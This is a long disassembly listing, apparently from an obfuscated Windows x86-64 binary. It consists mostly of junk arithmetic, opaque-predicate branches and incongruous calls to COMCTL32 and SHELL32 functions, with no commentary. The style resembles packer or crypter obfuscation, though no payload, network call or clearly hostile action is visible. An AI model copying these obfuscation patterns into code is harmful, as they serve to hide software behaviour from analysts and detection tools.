mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
or eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
jmp 0x140018dc5
mov eax, dword [rsp + 0x5938]
shl eax, 0x85
cmp eax, dword [rsp + 0x63c8]
je 0x140019112
mov rax, qword [rsp + 0xce58]
shr rax, 0x17
cmp rax, qword [section..data]
jbe 0x140019098
mov eax, 0x744
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xce88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce88]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xaa88], rax
mov dword [rsp + 0x6c3c], 0x7192
movzx eax, word [rsp + 0x2a3c]
mov word [rsp + 0x2a40], ax
movzx eax, word [rsp + 0x2a3c]
mov word [0x14019ef98], ax
lea r9, [rsp + 0x1f460]
lea r8, [rsp + 0xce18]
lea rdx, [fcn.140182fd0]
mov rcx, qword [rsp + 0xce90]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x6bbc], eax
jmp 0x14001910d
movabs rax, 0x7abdf99c0b1c9d
mov rcx, qword [rsp + 0xce58]
sub rcx, rax
mov rax, rcx
cmp rax, qword [section..data]
ja 0x1400190fa
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [rsp + 0x9b60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xaa88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b60], rax
jmp 0x14001910d
mov eax, dword [rsp + 0x6c24]
add eax, 0x32eb
mov dword [rsp + 0x6bd0], eax
jmp 0x140019240
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
xor eax, ecx
movzx ecx, byte [0x14019ef90]
cmp eax, ecx
jle 0x1400191de
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
add eax, ecx
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov eax, dword [rsp + 0x5938]
add eax, 0x73220eb7
mov dword [rsp + 0x63c8], eax
movabs rax, 0x786b4cf9b519ac
mov rcx, qword [section..data]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
movsx eax, word [rsp + 0x2a34]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
shl eax, cl
mov word [0x14019ef94], ax
jmp 0x140019240
movzx eax, byte [rsp + 0x2b2]
movzx ecx, byte [0x14019ef90]
and eax, ecx
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
cmp eax, ecx
jle 0x140019240
movzx eax, word [rsp + 0x2a3c]
movzx ecx, word [0x14019ef98]
sar eax, cl
mov word [rsp + 0x2a40], ax
movzx eax, word [rsp + 0x2a3c]
movzx ecx, word [0x14019ef98]
or eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xce08]
movzx ecx, word [rax]
call fcn.140182fd0
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x6c24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
mov dword [rsp + 0x6c40], 0xc761
movabs rax, 0x7e7be7496d56bc
mov rcx, qword [section..data]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
movsx eax, byte [rsp + 0x4df]
movsx ecx, byte [rsp + 0x4e0]
sar eax, cl
mov byte [rsp + 0x346], al
mov eax, dword [rsp + 0x6bcc]
sub eax, 0xb
mov dword [rsp + 0x6bcc], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
shl eax, cl
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x2a40]
movzx ecx, word [0x14019ef98]
sub eax, ecx
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0x9b60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa88]
add rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xaa88]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xaa88]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9b60], rax
movzx eax, word [rsp + 0x2a3c]
movzx ecx, word [0x14019ef98]
shl eax, cl
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [0x14019ef90]
or eax, ecx
mov byte [rsp + 0x2b2], al
mov eax, dword [rsp + 0x5938]
sar eax, 0x10
mov dword [rsp + 0x63c8], eax
movabs rax, 0x7ef8c3fb4a41ca
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
cmp dword [rsp + 0x6bcc], 0x6084
jae 0x140019264
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
movzx ecx, byte [0x14019ef90]
cmp eax, ecx
jg 0x14017e0ca
mov eax, dword [rsp + 0x5938]
and eax, 0x126c0c38
cmp eax, dword [rsp + 0x63c8]
jl 0x1400194f2
movzx eax, word [rsp + 0x2a40]
mov word [rsp + 0x2a44], ax
mov dword [rsp + 0x6c44], 0xe959
lea rax, [rsp + 0x2a40]
mov qword [0x14019efa0], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [0x14019d008]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb590], rax
mov dword [rsp + 0x6c48], 0xcd3c
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
sub eax, ecx
mov word [rsp + 0x2a40], ax
movzx eax, byte [rsp + 0x2b2]
mov byte [rsp + 0x6c4c], al
cmp byte [rsp + 0x6c4c], 0xa2
je 0x140019498
jmp 0x1400194f2
movzx eax, byte [0x14019ef90]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2b2], al
mov eax, dword [rsp + 0x5938]
or eax, 0x2db21b78
mov dword [rsp + 0x63c8], eax
mov rax, qword [section..data]
shr rax, 0x2d
mov qword [rsp + 0xce58], rax
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [rsp + 0x4e0]
sub eax, ecx
mov byte [rsp + 0x4df], al
mov dword [rsp + 0x6c50], 0xed00
mov dword [rsp + 0x6c54], 0x3d63
cmp dword [rsp + 0x6c34], 0xb935
ja 0x140019892
movsx eax, byte [rsp + 0x4e0]
movsx ecx, byte [rsp + 0x4df]
add eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
add eax, ecx
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6c34]
add eax, 0x83
mov dword [rsp + 0x6c34], eax
movzx eax, word [rsp + 0x2a44]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xcdc8]
movzx ecx, al
mov rax, qword [rsp + 0xb590]
sar rax, cl
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
shl rax, cl
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
or eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
and eax, ecx
mov word [rsp + 0x2a40], ax
movabs rax, 0x7bac9a4d399273
mov rcx, qword [section..data]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x5cf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
movsx eax, byte [rsp + 0x4e0]
movsx ecx, byte [rsp + 0x4df]
or eax, ecx
mov byte [rsp + 0x346], al
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9b60]
sar rax, cl
mov qword [rsp + 0xcdc8], rax
movsx eax, word [rsp + 0x2a2c]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14019ef94], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
sub eax, ecx
mov word [rsp + 0x2a40], ax
mov eax, dword [rsp + 0x5938]
add eax, 0x1e8354d5
mov dword [rsp + 0x63c8], eax
lea rcx, [rsp + 0x1ef60]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x6c58], eax
movzx eax, byte [0x14019ef90]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xccf8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
movabs rax, 0x7bb6a8333c3ecb
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
or eax, ecx
mov byte [rsp + 0x346], al
mov eax, dword [rsp + 0x5cf0]
movzx ecx, al
mov eax, dword [rsp + 0x6bd0]
shl eax, cl
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
xor eax, ecx
mov word [rsp + 0x2a34], ax
movzx eax, word [rsp + 0x2a44]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xce98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce98]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xccf8], rax
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [rsp + 0x4e0]
sub eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
movsx eax, word [rsp + 0x2a34]
movsx ecx, word [0x14019ef94]
sub eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xcea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcea0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xaa88], rax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x5cf0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
mov rax, qword [section..data]
shl rax, 0x16
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
sub eax, ecx
mov byte [rsp + 0x346], al
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
add eax, ecx
mov word [rsp + 0x2a44], ax
jmp 0x140019508
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov byte [0x14019d010], al
lea r9, [rsp + 0xcdf8]
lea r8, [rsp + 0x1e5b0]
lea rdx, [fcn.140181f10]
mov rcx, qword [rsp + 0xcea8]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x6bb8], eax
mov dword [rsp + 0x6c5c], 0x4f23
mov rax, qword [rsp + 0xb590]
mov qword [rsp + 0xceb0], rax
cmp qword [rsp + 0xceb0], 0
je 0x14001991b
movabs rax, 0x78826088853fea
cmp qword [rsp + 0xceb0], rax
je 0x14017df11
jmp 0x14017dfc2
lea rax, [rsp + 0xcdc8]
mov qword [rsp + 0xceb8], rax
cmp dword [rsp + 0x6c50], 0xf672
jae 0x140019a94
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [0x14019d008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb590], rax
mov eax, dword [rsp + 0x6c50]
add eax, 0x3e
mov dword [rsp + 0x6c50], eax
movsx eax, word [rsp + 0x2a38]
movsx ecx, word [0x14019ef94]
sub eax, ecx
mov word [rsp + 0x2a34], ax
movsx eax, byte [rsp + 0x4e0]
movsx ecx, byte [rsp + 0x4df]
shl eax, cl
mov byte [rsp + 0x346], al
movabs rax, 0x7dceb0af6b04e1
mov rcx, qword [section..data]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x5cf0]
movzx ecx, al
mov eax, dword [rsp + 0x6bd0]
shr eax, cl
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov byte [0x14019d010], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
and eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
xor eax, ecx
mov word [rsp + 0x2a44], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a40]
sar eax, cl
mov word [rsp + 0x2a3c], ax
jmp 0x14001992b
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov qword [rsp + 0xcec0], rax
mov dword [rsp + 0x6c60], 0xea56
cmp dword [rsp + 0x6c20], 0xed90
jb 0x140019c3f
movsx eax, byte [rsp + 0x4e0]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4df], al
movabs rax, 0x7d35a37662c184
mov rcx, qword [section..data]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x6c20]
sub eax, 0x41
mov dword [rsp + 0x6c20], eax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x6bd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
add eax, ecx
mov word [rsp + 0x2a34], ax
movzx eax, word [rsp + 0x2a44]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [rsp + 0xcdc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a40]
or eax, ecx
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xcec0]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
sar rax, cl
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xcec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcec8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x346]
add eax, ecx
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x5938]
and eax, 0x141056af
mov dword [rsp + 0x63c8], eax
jmp 0x140019ab2
movzx eax, word [rsp + 0x2a44]
movzx ecx, word [0x14019ef98]
xor eax, ecx
movzx ecx, word [rsp + 0x2a40]
movzx edx, word [rsp + 0x2a3c]
imul ecx, edx
cmp eax, ecx
jg 0x140019cba
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
or eax, ecx
mov byte [rsp + 0x3fb], al
mov eax, dword [rsp + 0x5938]
mov dword [0x14019efa8], eax
mov eax, dword [rsp + 0x5cf0]
movzx ecx, al
mov eax, dword [rsp + 0x6c24]
shl eax, cl
mov dword [rsp + 0x6bd0], eax
lea rax, [rsp + 0x2a2c]
mov qword [rsp + 0xced0], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x2a44]
mov word [rsp + 0x2a48], ax
cmp dword [rsp + 0x6c5c], 0x971d
je 0x140019ef2
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
sub eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [rsp + 0x6c24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
add eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14019ef94], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [0x14019ef98]
sar eax, cl
mov word [rsp + 0x2a44], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0x9b60]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb590], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa88], rax
mov eax, dword [rsp + 0x6c5c]
add eax, 0xde
mov dword [rsp + 0x6c5c], eax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0xcdc8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [0x14019d008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
mov eax, dword [0x14019efa8]
movzx ecx, al
mov eax, dword [rsp + 0x63c8]
shl eax, cl
mov dword [rsp + 0x5938], eax
mov r8d, reloc.SHELL32.dll_ILSaveToStream
mov rdx, qword [rsp + 0xce38]
mov rcx, qword [rsp + 0xce38]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fb]
sar eax, cl
mov byte [rsp + 0x2b2], al
movzx eax, byte [rsp + 0x3fb]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14019ef90], al
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
sub eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
jmp 0x140019cea
cmp dword [rsp + 0x6c60], 0x10a6b
jae 0x14001a354
movabs rax, 0x7d6c6ba5d21242
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
lea rcx, [rsp + 0x20890]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
movsx eax, word [rsp + 0x2a2c]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a34], ax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [rsp + 0x2a38]
add eax, ecx
mov word [rsp + 0x2a34], ax
movzx eax, word [0x14019ef98]
movzx ecx, word [rsp + 0x2a3c]
add eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xccf8]
movzx ecx, al
mov rax, qword [rsp + 0xcec0]
sar rax, cl
mov qword [rsp + 0xaa88], rax
mov rax, qword [section..data]
shl rax, 0xf
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [rsp + 0x6bd0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
movzx eax, word [rsp + 0x2a3c]
movzx ecx, word [rsp + 0x2a44]
xor eax, ecx
mov rcx, qword [0x14019efa0]
mov word [rcx], ax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a34], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
sub eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xced8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xced8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9b60], rax
movzx eax, word [rsp + 0x2a40]
movzx ecx, word [rsp + 0x2a48]
or eax, ecx
mov word [rsp + 0x2a44], ax
movzx eax, byte [rsp + 0x2b2]
movzx ecx, byte [0x14019ef90]
sar eax, cl
mov byte [rsp + 0x3fb], al
mov eax, dword [rsp + 0x63c8]
mov ecx, dword [0x14019efa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5938], eax
movabs rax, 0x720e84490e0117
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x6bd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
add eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
add eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
add eax, ecx
mov word [rsp + 0x2a48], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [0x14019d008]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0xb590]
mov rcx, qword [rsp + 0x9b60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa88], rax
movsx eax, word [rsp + 0x2a38]
movsx ecx, word [rsp + 0x2a34]
or eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
shl eax, cl
mov word [rsp + 0x2a48], ax
movsx eax, byte [rsp + 0x4e0]
movsx ecx, byte [rsp + 0x346]
sar eax, cl
mov byte [rsp + 0x4df], al
movabs rax, 0x7d7f754bfdb5ea
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
movzx eax, word [rsp + 0x2a40]
movzx ecx, word [rsp + 0x2a44]
sub eax, ecx
mov rcx, qword [0x14019efa0]
mov word [rcx], ax
mov eax, dword [rsp + 0x6c60]
add eax, 0xbf
mov dword [rsp + 0x6c60], eax
mov rax, qword [rsp + 0xb590]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xcee0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcee0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xaa88], rax
movsx eax, word [rsp + 0x2a34]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x2a40]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a3c], ax
mov r8d, 1
lea rdx, [rsp + 0x1e8d0]
lea rcx, [rsp + 0x6c58]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0xcee8], rax
mov eax, dword [0x14019efa8]
mov ecx, dword [rsp + 0x63c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5938], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov byte [rsp + 0x3fb], al
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0x9b60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
movzx eax, byte [0x14019d010]
movzx ecx, byte [rsp + 0x2b2]
xor eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov rax, qword [section..data]
shr rax, 0x23
mov qword [rsp + 0xce58], rax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
shl eax, cl
mov rcx, qword [0x14019efa0]
mov word [rcx], ax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
or eax, ecx
mov word [rsp + 0x2a38], ax
jmp 0x140019ef2
movabs rax, 0x7154cb427797e7
mov rcx, qword [rsp + 0xce58]
sub rcx, rax
mov rax, rcx
cmp rax, qword [section..data]
jne 0x14001a38f
mov r8d, dword [rsp + 0x63c8]
mov edx, dword [rsp + 0x5938]
mov ecx, dword [0x14019efa8]
call fcn.14017e790
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov dword [rsp + 0x6c64], eax
cmp dword [rsp + 0x6c64], 0x4db
je 0x14017ddd2
cmp dword [rsp + 0x6c64], 0xf880
je 0x14001a3c3
jmp 0x14017dec4
lea rax, [rsp + 0xce58]
mov qword [rsp + 0xcef0], rax
cmp dword [rsp + 0x6c3c], 0x5881
jbe 0x14001a77a
movzx eax, byte [0x14019ef90]
movzx ecx, byte [rsp + 0x2b2]
sar eax, cl
mov byte [0x14019d010], al
movzx eax, word [rsp + 0x2a48]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a44], ax
xor r8d, r8d
lea rdx, [rsp + 0x1e8d0]
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x6c38], eax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019d008]
shl rax, cl
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fb]
sub eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov eax, dword [0x14019efa8]
mov ecx, dword [rsp + 0x5938]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c8], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a40]
sub eax, ecx
mov word [rsp + 0x2a3c], ax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x6bd0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [section..data]
shl rax, cl
mov qword [rsp + 0xce58], rax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
sar eax, cl
mov rcx, qword [0x14019efa0]
mov word [rcx], ax
mov eax, dword [rsp + 0x6c3c]
sub eax, 0x5d
mov dword [rsp + 0x6c3c], eax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
